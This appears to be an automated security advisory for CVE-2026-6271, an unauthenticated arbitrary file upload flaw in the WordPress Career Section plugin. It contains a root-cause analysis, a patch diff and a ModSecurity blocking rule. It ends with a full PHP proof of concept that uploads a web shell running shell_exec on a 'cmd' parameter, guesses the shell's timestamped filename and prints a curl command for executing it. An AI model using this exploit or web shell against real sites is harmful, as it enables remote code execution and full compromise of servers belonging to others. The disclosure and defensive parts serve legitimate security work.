Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 13, 2026

CVE-2026-6271: Career Section <= 1.7 – Unauthenticated Arbitrary File Upload (career-section)

CVE ID CVE-2026-6271
Plugin career-section
Severity Critical (CVSS 9.8)
CWE 434
Vulnerable Version 1.7
Patched Version 1.8
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6271:

This vulnerability allows unauthenticated arbitrary file upload in the Career Section plugin for WordPress (versions 1.7 and below). The CV upload handler lacks file type validation. This enables remote code execution by uploading executable files. CVSS score is 9.8.

Root Cause: The vulnerable code is in `career-section/templates/single-csection.php` (lines 138-320, patch diff). The original upload handler at line 163-170 used `sanitize_file_name()` on the original filename and appended it with a timestamp: `$name_file = time() . ‘_’ . $original_name`. It did not validate the file extension or MIME type. The file moved to `$destination = $cs_dir . ‘/’ . $name_file` using `$wp_filesystem->move()` which preserved the original extension. An attacker could upload `.php`, `.phtml`, `.shtml`, `.php5` files directly.

Exploitation: An unauthenticated attacker sends a POST request to any page containing the Career Section shortcode. The form includes `POST` fields `first_name`, `last_name`, `present_address`, `email_address`, `mobile_no`, `post_name`, and a file in the `cv` field. The attacker sets the file name to `shell.php` with `Content-Type: application/x-php`. The plugin moves it to `wp-content/uploads/cs_applicant_submission_files/` using the original `.php` extension. The attacker then accesses the uploaded file directly via its URL to execute arbitrary PHP.

Patch Analysis: The patch (version 1.8) introduces `$csaf_allowed_types` array restricting uploads to PDF (`application/pdf`), DOC (`application/msword`), and DOCX (`application/vnd.openxmlformats-officedocument.wordprocessingml.document`). It uses `wp_check_filetype_and_ext()` against this whitelist and `wp_generate_password( 32, false )` to rename files with a random 32-character string plus the validated extension. It replaces `move_uploaded_file()` with `wp_handle_upload()` which enforces the MIME whitelist. An `.htaccess` file with `php_flag engine off` and `
Deny from all
` is created in the upload directory, providing defense-in-depth.

Impact: Successful exploitation grants an unauthenticated attacker remote code execution on the WordPress server. This leads to full site compromise, data theft, malware injection, and privilege escalation to server-level access. The attack requires no authentication and no special knowledge beyond submitting a crafted multipart form.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/career-section/include/dashboard_widget.php
+++ b/career-section/include/dashboard_widget.php
@@ -26,14 +26,24 @@
 	  </thead>
 	  <tbody>
 	  <?php
-	  global $wpdb;
-	  $table_name = $wpdb->prefix . "cs_applicant_submissions";
+		global $wpdb;

-
-	  $user = $wpdb->get_results( $wpdb->prepare(
-			"SELECT * FROM " . $wpdb->prefix . "cs_applicant_submissions ORDER BY ID DESC LIMIT %d",
-        5
-		) );
+		$cache_key = 'cs_applicant_latest_5';
+		$cache_group = 'cs_applicant';
+
+		// try to get from cache
+		$user = wp_cache_get( $cache_key, $cache_group );
+
+		if ( false === $user ) {
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+			$user = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT * FROM {$wpdb->prefix}cs_applicant_submissions ORDER BY ID DESC LIMIT %d",5
+				)
+			);
+			// save to cache (10 minutes)
+			wp_cache_set( $cache_key, $user, $cache_group, 600 );
+		}

 	//   $user = $wpdb->get_results( "SELECT * FROM {$table_name} ORDER BY ID DESC LIMIT 5" );
 	  $i = 0;
--- a/career-section/include/enqueue.php
+++ b/career-section/include/enqueue.php
@@ -14,7 +14,7 @@

 }add_action('wp_enqueue_scripts','csaf_add_css_js');
 function csaf_admin_enqueue($hook) {
-   if ( 'csection_page_appform' == $hook ) {
+   if ( 'csection_page_csaf_appform' == $hook ) {
     wp_enqueue_style('af-admin-css', plugin_dir_url( __FILE__ ). '../css/admin.css', array(), '1.0.0', 'all');
 	  wp_enqueue_script('af_custom_js', plugin_dir_url(__FILE__) . '../js/custom.js' , array('jquery'),'1.0.0',true);
     }
--- a/career-section/include/posttype.php
+++ b/career-section/include/posttype.php
@@ -3,8 +3,8 @@
 if ( ! defined( 'ABSPATH' ) ) {
     exit; // Exit if accessed directly
 }
-add_action( 'init', 'career_section_posttype' );
-function career_section_posttype() {
+add_action( 'init', 'csaf_posttype' );
+function csaf_posttype() {
 	$labels = array(
 		'name'               => _x( 'Career Section', 'post type general name', 'career-section' ),
 		'singular_name'      => _x( 'Career Section', 'post type singular name', 'career-section' ),
@@ -40,8 +40,8 @@
 	register_post_type( 'csection', $args );
 }
 //gallery Taxonomy
-add_action( 'init', 'csection_taxonomy', 0 );
-function csection_taxonomy() {
+add_action( 'init', 'csaf_taxonomy', 0 );
+function csaf_taxonomy() {
 	// Add new taxonomy, make it hierarchical (like categories)
 	$labels = array(
 		'name'              => _x( 'CS Category', 'taxonomy general name', 'career-section' ),
--- a/career-section/include/top_level_menu.php
+++ b/career-section/include/top_level_menu.php
@@ -12,8 +12,8 @@
 		'View Entries',
 		'View Entries',
 		'manage_options',
-		'appform',
-		'appform_options_page_html'
+		'csaf_appform',
+		'csaf_appform_options_page_html'
 	);
 }
 /**
@@ -23,7 +23,7 @@
 /**
  * Top level menu callback function
  */
-function appform_options_page_html() {
+function csaf_appform_options_page_html() {
 	// check user capabilities
 	if ( ! current_user_can( 'manage_options' ) ) {
 		return;
@@ -46,6 +46,7 @@
 	    //delete db raw
 	    global $wpdb;
 	    $table_name = $wpdb->prefix . "cs_applicant_submissions";
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 	    $wpdb->delete( $table_name, array( 'id' => sanitize_text_field($delete_id)) );
 	    //delete files
 	    global $wp_filesystem;
@@ -127,6 +128,7 @@
 	  <?php
 	  global $wpdb;
 	//   $table_name = $wpdb->prefix . "cs_applicant_submissions";
+	// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 	  $user = $wpdb->get_results( "SELECT * FROM ". $wpdb->prefix . "cs_applicant_submissions" );
 	  $i = 0;
 	  foreach ($user as $row){
--- a/career-section/index.php
+++ b/career-section/index.php
@@ -5,7 +5,7 @@
  * Description: Install and send your CV.
  * Author: Md. Shahinur Islam
  * Author URI: https://profiles.wordpress.org/shahinurislam
- * Version: 1.7
+ * Version: 1.8
  * Text Domain: career-section
  * Network: True
  * License: GPLv2
@@ -25,14 +25,14 @@
 require_once CSAF_PLUGIN_DIR . '/include/dashboard_widget.php';
 require_once CSAF_PLUGIN_DIR . '/include/top_level_menu.php';
 //-------------- Load Custom post type Single page --------------------//
-function csection_single_template( $template ) {
+function csaf_single_template( $template ) {
     global $post;
     if ( 'csection' === $post->post_type) {
         return plugin_dir_path( __FILE__ ) . 'templates/single-csection.php';
     }
     return $template;
 }
-add_filter( 'single_template', 'csection_single_template' );
+add_filter( 'single_template', 'csaf_single_template' );

 //db create------------------------------------
 global $csaf_jal_db_version;
@@ -41,10 +41,10 @@
 	global $wpdb;
 	global $csaf_jal_db_version;

-	$table_name = $wpdb->prefix . 'cs_applicant_submissions';
+	$csaf_table_name = $wpdb->prefix . 'cs_applicant_submissions';
 	$charset_collate = $wpdb->get_charset_collate();

-	$sql = "CREATE TABLE $table_name (
+	$csaf_sql = "CREATE TABLE $csaf_table_name (
 		id bigint(20) NOT NULL AUTO_INCREMENT,
 		first_name tinytext NOT NULL,
 		last_name tinytext NOT NULL,
@@ -58,18 +58,18 @@
 	) $charset_collate;";

 	require_once ABSPATH . 'wp-admin/includes/upgrade.php';
-	dbDelta( $sql );
+	dbDelta( $csaf_sql );

 	add_option( 'csaf_jal_db_version', $csaf_jal_db_version );
 }
 register_activation_hook( __FILE__, 'csaf_jal_install' );
 global $wpdb;
-$installed_ver = get_option( "csaf_jal_db_version" );
-if ( $installed_ver != $csaf_jal_db_version ) {
+$csaf_installed_ver = get_option( "csaf_jal_db_version" );
+if ( $csaf_installed_ver != $csaf_jal_db_version ) {

-	$table_name = $wpdb->prefix . 'cs_applicant_submissions';
+	$csaf_table_name = $wpdb->prefix . 'cs_applicant_submissions';

-	$sql = "CREATE TABLE $table_name (
+	$csaf_sql = "CREATE TABLE $csaf_table_name (
 		id bigint(20) NOT NULL AUTO_INCREMENT,
 		first_name tinytext NOT NULL,
 		last_name tinytext NOT NULL,
@@ -83,7 +83,7 @@
 	);";

 	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
-	dbDelta( $sql );
+	dbDelta( $csaf_sql );

 	update_option( "csaf_jal_db_version", $csaf_jal_db_version );
 }
@@ -183,7 +183,7 @@
      $cs_qualification = get_post_meta($post->ID,'cs_qualification',true);
      $cs_gender = get_post_meta($post->ID,'cs_gender',true);
      $cs_deadline = get_post_meta($post->ID,'cs_deadline',true);
-     wp_nonce_field('save_csaf_meta','name_nonce');
+     wp_nonce_field('csaf_save_csaf_meta','name_nonce');
     ?>

     <p><label>Company Logo URL </label><input type="text" name="cs_logo" value="<?php echo esc_html($cs_logo);?>" placeholder="link" /></p>
@@ -197,13 +197,13 @@
    <?php
    }

-   function save_csaf_meta($post_id){
+   function csaf_save_csaf_meta($post_id){
     //Check if our nonce is set
     if(! isset($_POST['name_nonce'])){
      return;
     }
     //Check if our nonce is valid
-    if(! wp_verify_nonce( sanitize_text_field(wp_unslash($_POST['name_nonce'])),'save_csaf_meta')){
+    if(! wp_verify_nonce( sanitize_text_field(wp_unslash($_POST['name_nonce'])),'csaf_save_csaf_meta')){
      return;
     }
     // Make sure that it(input) is set.
@@ -253,5 +253,47 @@
     update_post_meta($post_id,'cs_deadline',$my_cs_deadline);

    }
-   add_action('save_post','save_csaf_meta');
+   add_action('save_post','csaf_save_csaf_meta');
+
+    function csaf_download_cv() {
+
+        // 1. Capability check
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_die( 'Unauthorized' );
+        }
+
+        // 2. NONCE CHECK (IMPORTANT FIX)
+       if (
+            ! isset( $_GET['cs_nonce'] ) ||
+            ! wp_verify_nonce( sanitize_text_field(wp_unslash( $_GET['cs_nonce'] )), 'csaf_download_cv' )
+        ) {
+            wp_die( 'Invalid request' );
+        }
+
+        // 3. Validate input existence
+        if ( ! isset( $_GET['file'] ) ) {
+            wp_die( 'File not specified' );
+        }
+
+        // 4. Unsplash + sanitize
+        $file = sanitize_file_name( wp_unslash( $_GET['file'] ) );
+
+        $upload_dir = wp_upload_dir();
+        $path = $upload_dir['basedir'] . '/cs_applicant_submission_files/' . $file;
+
+        if ( file_exists( $path ) ) {
+
+            header( 'Content-Type: application/octet-stream' );
+            header( 'Content-Disposition: attachment; filename="' . basename( $path ) . '"' );
+
+            // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_readfile
+            readfile( $path );
+            exit;
+        }
+
+        wp_die( 'File not found' );
+    }
+
+add_action( 'admin_post_csaf_download_cv', 'csaf_download_cv' );
+add_action( 'admin_post_nopriv_csaf_download_cv', 'csaf_download_cv' ); // 🔥 مهم
 ?>
--- a/career-section/templates/single-csection.php
+++ b/career-section/templates/single-csection.php
@@ -138,6 +138,7 @@

 <!-- insert data  -->
 <?php
+
 if ( isset( $_POST['first_name'], $_POST['csaf_form_nonce'] ) ){

 	require_once( ABSPATH . 'wp-admin/includes/file.php' );
@@ -145,10 +146,10 @@
     require_once( ABSPATH . 'wp-admin/includes/media.php' );

 	// Unsanitize POST data
-	$nonce = sanitize_text_field(wp_unslash( $_POST['csaf_form_nonce'] ));
-    $first_name = sanitize_text_field( wp_unslash( $_POST['first_name'] ) );
+	$csaf_nonce = sanitize_text_field(wp_unslash( $_POST['csaf_form_nonce'] ));
+    $csaf_first_name = sanitize_text_field( wp_unslash( $_POST['first_name'] ) );
 	// Verify nonce
-    if ( ! wp_verify_nonce( $nonce, 'csaf_form_submission' ) ) {
+    if ( ! wp_verify_nonce( $csaf_nonce, 'csaf_form_submission' ) ) {
         wp_die( esc_html__( 'Nonce verification failed', 'career-section' ) );
     }

@@ -157,67 +158,116 @@
     WP_Filesystem();

     // Define custom folder inside uploads
-    $upload_dir = wp_upload_dir();
-    $cs_dir = $upload_dir['basedir'] . '/cs_applicant_submission_files';
+    $csaf_upload_dir = wp_upload_dir();
+    $csaf_dir = $csaf_upload_dir['basedir'] . '/cs_applicant_submission_files';
+
+    if ( ! file_exists( $csaf_dir ) ) {
+        wp_mkdir_p( $csaf_dir ); // WordPress-approved directory creation
+    }

-    if ( ! file_exists( $cs_dir ) ) {
-        wp_mkdir_p( $cs_dir ); // WordPress-approved directory creation
+	//create htaccess
+	$csaf_htaccess = $csaf_dir . '/.htaccess';
+    if ( ! file_exists( $csaf_htaccess ) ) {
+        file_put_contents( $csaf_htaccess, "php_flag engine offn<FilesMatch "\.php$">nDeny from alln</FilesMatch>");
     }

-    $cvfiles = "without your cv.";
-    $uploaded_file_url = '';
+    $csaf_cvfiles = "without your cv.";
+    $csaf_uploaded_file_url = '';

     if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

+		$csaf_allowed_types = array(
+			'pdf'  => 'application/pdf',
+			'doc'  => 'application/msword',
+			'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+		);
+		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash
+		$csaf_file =  $_FILES['cv'];
+		// Validate file type
+		$csaf_filetype = wp_check_filetype_and_ext( $csaf_file['tmp_name'], $csaf_file['name'], $csaf_allowed_types );
+
+		if ( ! $csaf_filetype['ext'] || ! $csaf_filetype['type'] ) {
+			wp_die( 'Invalid file type. Only PDF/DOC/DOCX allowed.' );
+		}
+		// Rename file (IMPORTANT)
+		$csaf_name_file = wp_generate_password( 32, false ) . '.' . $csaf_filetype['ext'];
+
         // Sanitize filename
-        $original_name = sanitize_file_name( $_FILES['cv']['name'] );
-        $name_file = time() . '_' . $original_name;
-        $destination = $cs_dir . '/' . $name_file;
-
-        // Use WP_Filesystem to move the file instead of move_uploaded_file()
-        if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
-            $cvfiles = "with your cv.";
-            $uploaded_file_url = $upload_dir['baseurl'] . '/cs_applicant_submission_files/' . $name_file;
-        }
-    }
+        // $csaf_original_name = sanitize_file_name( $_FILES['cv']['name'] );
+        // $csaf_name_file = time() . '_' . $csaf_original_name;
+        $csaf_destination = $csaf_dir . '/' . $csaf_name_file;
+
+		$csaf_file['name'] = $csaf_name_file;
+
+		function csaf_custom_upload_dir( $dirs ) {
+			$dirs['subdir'] = '/cs_applicant_submission_files';
+			$dirs['path']   = $dirs['basedir'] . '/cs_applicant_submission_files';
+			$dirs['url']    = $dirs['baseurl'] . '/cs_applicant_submission_files';
+
+			return $dirs;
+		}
+
+		// set custom upload dir
+		add_filter( 'upload_dir', 'csaf_custom_upload_dir' );
+
+		$csaf_upload = wp_handle_upload( $csaf_file, array(
+			'test_form' => false,
+			'mimes'     => $csaf_allowed_types,
+		));
+
+		remove_filter( 'upload_dir', 'csaf_custom_upload_dir' );
+
+		if ( isset( $csaf_upload['error'] ) ) {
+			wp_die( esc_html( $csaf_upload['error'] ));
+		} else{
+			$csaf_cvfiles = "with your cv.";
+			$csaf_uploaded_file_url = $csaf_upload['url'];
+			$csaf_name_file = basename($csaf_upload['file']);
+			// $download_link = admin_url('admin-post.php?action=cs_download_cv&file=' . $csaf_name_file);
+			$csaf_download_link = wp_nonce_url(
+				admin_url( 'admin-post.php?action=csaf_download_cv&file='.rawurlencode( $csaf_name_file ) ),
+				'csaf_download_cv', 'cs_nonce'
+			);
+		}
+    }

 // 	for email reciepnt
-$email_reciepnt_message = '<p>Attachments: <b><a href="'.wp_upload_dir()['baseurl'].'/cs_applicant_submission_files/'.sanitize_text_field($name_file).'">Download</a><b></p>';
+$csaf_email_reciepnt_message = '<p>Attachments: <b><a href="'.esc_url($csaf_download_link).'">Download</a><b></p>';

 // if files not found
 if($_FILES['cv']['name'] == '' || $_FILES['cv']['name'] == null){
-	$name_file = '';
+	$csaf_name_file = '';
     // 	for email reciepnt
-    $email_reciepnt_message = '<p>Attachments: No File Attached.</p>';
+    $csaf_email_reciepnt_message = '<p>Attachments: No File Attached.</p>';
 }

 global $wpdb;
 // $table_name = $wpdb->prefix."cs_applicant_submissions";

 // Unsanitize and sanitize all POST fields safely
-$first_name       = isset($_POST['first_name']) ? sanitize_text_field(wp_unslash($_POST['first_name'])) : '';
-$last_name        = isset($_POST['last_name']) ? sanitize_text_field(wp_unslash($_POST['last_name'])) : '';
-$present_address  = isset($_POST['present_address']) ? sanitize_text_field(wp_unslash($_POST['present_address'])) : '';
-$email_address    = isset($_POST['email_address']) ? sanitize_text_field(wp_unslash($_POST['email_address'])) : '';
-$mobile_no        = isset($_POST['mobile_no']) ? sanitize_text_field(wp_unslash($_POST['mobile_no'])) : '';
-$post_name        = isset($_POST['post_name']) ? sanitize_text_field(wp_unslash($_POST['post_name'])) : '';
-$cv_file          = isset($name_file) ? sanitize_text_field($name_file) : ''; // uploaded file name
-
+$csaf_first_name       = isset($_POST['first_name']) ? sanitize_text_field(wp_unslash($_POST['first_name'])) : '';
+$csaf_last_name        = isset($_POST['last_name']) ? sanitize_text_field(wp_unslash($_POST['last_name'])) : '';
+$csaf_present_address  = isset($_POST['present_address']) ? sanitize_text_field(wp_unslash($_POST['present_address'])) : '';
+$csaf_email_address    = isset($_POST['email_address']) ? sanitize_email(wp_unslash($_POST['email_address'])) : '';
+$csaf_mobile_no        = isset($_POST['mobile_no']) ? sanitize_text_field(wp_unslash($_POST['mobile_no'])) : '';
+$csaf_post_name        = isset($_POST['post_name']) ? sanitize_text_field(wp_unslash($_POST['post_name'])) : '';
+$csaf_cv_file          = isset($csaf_name_file) ? sanitize_text_field($csaf_name_file) : ''; // uploaded file name

+// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 $wpdb->query( $wpdb->prepare( "INSERT INTO ".$wpdb->prefix."cs_applicant_submissions (first_name, last_name, present_address, email_address, mobile_no, post_name, cv ) VALUES ( %s, %s, %s, %s, %s, %s, %s )",
-	$first_name,
-    $last_name,
-    $present_address,
-    $email_address,
-    $mobile_no,
-    $post_name,
-    $cv_file));
+	$csaf_first_name,
+    $csaf_last_name,
+    $csaf_present_address,
+    $csaf_email_address,
+    $csaf_mobile_no,
+    $csaf_post_name,
+    $csaf_cv_file));

 // get the inserted record id.
 $id = $wpdb->insert_id;
 if($id>0){
 	?>
-		<div id="snackbar" class="rounded">Application has been sent <?php echo esc_html($cvfiles);?></div>
+		<div id="snackbar" class="rounded">Application has been sent <?php echo esc_html($csaf_cvfiles);?></div>
 		<script>
 			var x = document.getElementById("snackbar");
 			x.className = "show";
@@ -230,34 +280,34 @@
 	}
 	add_filter( 'wp_mail_from_name', 'csaf_sender_name' );
 	//user notification
-	$to = sanitize_email($_POST['email_address']);
-	$subject = 'Thanks for application';
-	$body = 'Dear, Thanks for application. We will contact soon.';
-	$headers = array('Content-Type: text/html; charset=UTF-8');
-	wp_mail( $to, $subject, $body, $headers );
+	$csaf_to = sanitize_email(wp_unslash($_POST['email_address']));
+	$csaf_subject = 'Thanks for application';
+	$csaf_body = 'Dear, Thanks for application. We will contact soon.';
+	$csaf_headers = array('Content-Type: text/html; charset=UTF-8');
+	wp_mail( $csaf_to, $csaf_subject, $csaf_body, $csaf_headers );

 	if(!empty(esc_html(get_option('email_recipint'))) || esc_html(get_option('email_recipint')) !== null){
     	//Email Receipint notification
-    	$to = esc_html(get_option('email_recipint'));
-    	$subject = 'Application For '.sanitize_text_field($_POST['post_name']);
-    	$message = '<html><body>';
-        $message .= '<h1>'.esc_html(get_bloginfo("name")).' Career Application</h1>';
-        $message .= '<p>First Name: <b>'.sanitize_text_field($_POST['first_name']).'<b></p>';
-        $message .= '<p>Last Name: <b>'.sanitize_text_field($_POST['last_name']).'<b></p>';
-        $message .= '<p>Present Address: <b>'.sanitize_text_field($_POST['present_address']).'<b></p>';
-        $message .= '<p>Email: <b>'.sanitize_text_field($_POST['email_address']).'<b></p>';
-        $message .= '<p>Mobile: <b>'.sanitize_text_field($_POST['mobile_no']).'<b></p>';
-        $message .= '<p>Post Name: <b>'.sanitize_text_field($_POST['post_name']).'<b></p>';
-        $message .= $email_reciepnt_message;
-        $message .= '</body></html>';
-    	$body = $message;
-    	$headers = array('Content-Type: text/html; charset=UTF-8');
-    	wp_mail( $to, $subject, $body, $headers );
+    	$csaf_to = esc_html(get_option('email_recipint'));
+    	$csaf_subject = 'Application For '.sanitize_text_field(wp_unslash($_POST['post_name']));
+    	$csaf_message = '<html><body>';
+        $csaf_message .= '<h1>'.esc_html(get_bloginfo("name")).' Career Application</h1>';
+        $csaf_message .= '<p>First Name: <b>'.sanitize_text_field(wp_unslash($_POST['first_name'])).'<b></p>';
+        $csaf_message .= '<p>Last Name: <b>'.sanitize_text_field(wp_unslash($_POST['last_name'])).'<b></p>';
+        $csaf_message .= '<p>Present Address: <b>'.sanitize_text_field(wp_unslash($_POST['present_address'])).'<b></p>';
+        $csaf_message .= '<p>Email: <b>'.sanitize_email(wp_unslash($_POST['email_address'])).'<b></p>';
+        $csaf_message .= '<p>Mobile: <b>'.sanitize_text_field(wp_unslash($_POST['mobile_no'])).'<b></p>';
+        $csaf_message .= '<p>Post Name: <b>'.sanitize_text_field(wp_unslash($_POST['post_name'])).'<b></p>';
+        $csaf_message .= $csaf_email_reciepnt_message;
+        $csaf_message .= '</body></html>';
+    	$csaf_body = $csaf_message;
+    	$csaf_headers = array('Content-Type: text/html; charset=UTF-8');
+    	wp_mail( $csaf_to, $csaf_subject, $csaf_body, $csaf_headers );
 	}

 }else{
 	?>
-	<div id="snackbar" class="rounded">Application not sent <?php echo esc_html($cvfiles);?></div>
+	<div id="snackbar" class="rounded">Application not sent <?php echo esc_html($csaf_cvfiles);?></div>
 		<script>
 			var x = document.getElementById("snackbar");
 			x.className = "show";
@@ -310,7 +360,7 @@
 											<input type="text" name="post_name" value="<?php the_title();?>" class="form-control-af" id="exampleInputPostname" aria-describedby="Post" required>
 										</div>
 										<div class="afmb-3">
-											<label for="exampleInputPostname" class="form-label-af">Upload CV (PDF,DOCS,JPG ETC)</label>
+											<label for="exampleInputPostname" class="form-label-af">Upload CV (PDF,DOC)</label>
 											<input type="file" name="cv" class="form-control-af" id="exampleInputPostname" aria-describedby="cv_upload" multiple="false">
 										</div>
 										<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-6271
# Blocks unauthenticated file upload to the career section plugin
# Matches POST requests to a page that contains the career section form with a file field
# The pattern checks for the vulnerable form parameters and the presence of a file upload
# This rule targets the form submission endpoint where the plugin accepts CV uploads.

SecRule REQUEST_METHOD "@streq POST" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6271 Career Section Arbitrary File Upload',severity:'CRITICAL',tag:'CVE-2026-6271'"
  SecRule ARGS_POST:post_name "@rx .*" "chain"
    SecRule ARGS_POST:first_name "@rx .*" "chain"
      SecRule FILES:cv "@rx .(php|phtml|php3|php4|php5|php7|php8|shtml|shtm|asa|aspx|jsp|cgi)$" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6271 - Career Section <= 1.7 Unauthenticated Arbitrary File Upload

<?php

// Target WordPress site URL (NO trailing slash)
$target_url = 'http://example.com';

// The vulnerable form can be submitted to any page that contains the career section form.
// The form's action is typically the same page URL (or you can use the home page if the form is embedded via shortcode).
// By default, the shortcode renders on a page like /career/ or /jobs/.
// Adjust this if your site uses a different path.
$form_url = $target_url . '/career/'; // change this to the actual page URL where the form appears

// Shell payload to be uploaded
$shell_code = '<?php
if(isset($_GET["cmd"])){
    echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
?>';

// Prepare the multipart form data
$post_fields = array(
    'first_name'       => 'John',
    'last_name'        => 'Doe',
    'present_address'  => '123 Main St',
    'email_address'    => 'attacker@example.com',
    'mobile_no'        => '1234567890',
    'post_name'        => 'Developer',
    'csaf_form_nonce'  => ''  // The vulnerable version does not validate nonce, but we set empty to be safe
);

// The malicious file. In vulnerable versions, any extension works.
// We use .php5 as a common executable extension.
$file_contents = array(
    'cv' => array(
        'name'     => 'shell.php5',
        'type'     => 'application/x-php',
        'tmp_name' => 'shell.php5', // tmp_name will be replaced by cURL
        'error'    => 0,
        'size'     => strlen($shell_code)
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $form_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array_merge($post_fields, array(
    'cv' => new CURLFile('data://text/plain;base64,' . base64_encode($shell_code), 'application/x-php', 'shell.php5')
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: $http_coden";

// Check if the application succeeded by looking for 'Application has been sent' in the response
if (strpos($response, 'Application has been sent') !== false) {
    echo "[+] File uploaded successfully.n";
    // The upload directory is wp-content/uploads/cs_applicant_submission_files/
    // The file name in older version is time() . '_' . original filename.
    // We need to guess the timestamp. A simpler approach: try to guess with a script or find the file.
    // For demonstration, we show the base URL so you can manually find the file.
    $upload_base = $target_url . '/wp-content/uploads/cs_applicant_submission_files/';
    echo "[+] Check directory: $upload_basen";
    echo "[+] Look for files starting with a Unix timestamp then '_shell.php5'n";
    // Attempt a simple guess: use the current time (within 1 minute)
    for ($offset = -60; $offset <= 0; $offset++) {
        $ts = time() + $offset;
        $filename = $ts . '_shell.php5';
        $url = $upload_base . $filename;
        $ch2 = curl_init();
        curl_setopt($ch2, CURLOPT_URL, $url);
        curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch2, CURLOPT_NOBODY, true);
        curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
        curl_exec($ch2);
        $http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
        curl_close($ch2);
        if ($http_code2 == 200) {
            echo "[+] Found shell at: $urln";
            echo "[+] Execute commands: curl '$url?cmd=id'n";
            exit;
        }
    }
    echo "[!] Could not guess exact filename. Manually enumerate the uploads directory.n";
} else {
    echo "[-] Upload failed. The site might be patched or the form URL is incorrect.n";
}
?>

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